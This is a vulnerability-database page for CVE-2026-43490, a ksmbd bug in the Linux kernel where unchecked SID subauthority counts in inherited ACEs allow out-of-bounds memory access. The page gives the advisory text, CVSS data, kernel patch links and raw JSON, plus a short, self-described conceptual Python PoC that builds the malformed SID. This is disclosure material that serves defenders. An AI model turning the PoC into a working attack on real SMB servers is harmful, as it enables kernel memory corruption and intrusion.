Security Vulnerability Report
中文
CVE-2026-43490 CVSS 8.8 HIGH

CVE-2026-43490

Published: 2026-05-15 06:16:20
Last Modified: 2026-05-20 17:16:23
Source: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

Description

In the Linux kernel, the following vulnerability has been resolved: ksmbd: validate inherited ACE SID length smb_inherit_dacl() walks the parent directory DACL loaded from the security descriptor xattr. It verifies that each ACE contains the fixed SID header before using it, but does not verify that the variable-length SID described by sid.num_subauth is fully contained in the ACE. A malformed inheritable ACE can advertise more subauthorities than are present in the ACE. compare_sids() may then read past the ACE. smb_set_ace() also clamps the copied destination SID, but used the unchecked source SID count to compute the inherited ACE size. That could advance the temporary inherited ACE buffer pointer and nt_size accounting past the allocated buffer. Fix this by validating the parent ACE SID count and SID length before using the SID during inheritance. Compute the inherited ACE size from the copied SID so the size matches the bounded destination SID. Reject the inherited DACL if size accumulation would overflow smb_acl.size or the security descriptor allocation size.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Linux Kernel (ksmbd) < 6.x (具体修复版本见Git提交)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC Concept: Creating a malformed ACE to trigger OOB read in ksmbd # This is a conceptual demonstration and requires interaction with a vulnerable ksmbd server. import socket import struct # Malformed SID structure with excessive subauthority count # SID: Revision (1 byte), SubAuthCount (1 byte), Authority (6 bytes), SubAuthorities (4 bytes each) # We set SubAuthCount to a high value (e.g., 255) but provide fewer bytes. def build_malformed_sid(): revision = 1 sub_auth_count = 255 # Malformed: Claiming 255 sub-auths authority = b'\x00\x00\x00\x00\x00\x05' # Example Authority (NT Authority) # We provide only 1 sub-authority, but claim 255 sub_authorities = struct.pack('<I', 1234) return struct.pack('<BB6s', revision, sub_auth_count, authority) + sub_authorities # This SID would be placed inside an ACE within a Security Descriptor # sent to the server to set on a parent directory. # When a child is created, ksmbd attempts to inherit this ACE, # triggering the vulnerability. malformed_sid = build_malformed_sid() print(f"Generated malformed SID length: {len(malformed_sid)}") # Further implementation would involve wrapping this in an SMB2 CREATE request # with a specific security descriptor context.

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-43490", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-15T06:16:20.363", "lastModified": "2026-05-20T17:16:23.387", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nksmbd: validate inherited ACE SID length\n\nsmb_inherit_dacl() walks the parent directory DACL loaded from the\nsecurity descriptor xattr. It verifies that each ACE contains the fixed\nSID header before using it, but does not verify that the variable-length\nSID described by sid.num_subauth is fully contained in the ACE.\n\nA malformed inheritable ACE can advertise more subauthorities than are\npresent in the ACE. compare_sids() may then read past the ACE.\nsmb_set_ace() also clamps the copied destination SID, but used the\nunchecked source SID count to compute the inherited ACE size. That could\nadvance the temporary inherited ACE buffer pointer and nt_size accounting\npast the allocated buffer.\n\nFix this by validating the parent ACE SID count and SID length before\nusing the SID during inheritance. Compute the inherited ACE size from the\ncopied SID so the size matches the bounded destination SID. Reject the\ninherited DACL if size accumulation would overflow smb_acl.size or the\nsecurity descriptor allocation size."}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "references": [{"url": "https://git.kernel.org/stable/c/1aa60fea7f637c071f529ad6784aecca2f2f0c5f", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}, {"url": "https://git.kernel.org/stable/c/47c6e37a77b10e74f70d845ba4ea5d3cafa00336", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}, {"url": "https://git.kernel.org/stable/c/996454bc0da84d5a1dedb1a7861823087e01a7ae", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}, {"url": "https://git.kernel.org/stable/c/c1d95c995d5bcb24b639200a899eda59cb1e6d64", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}]}}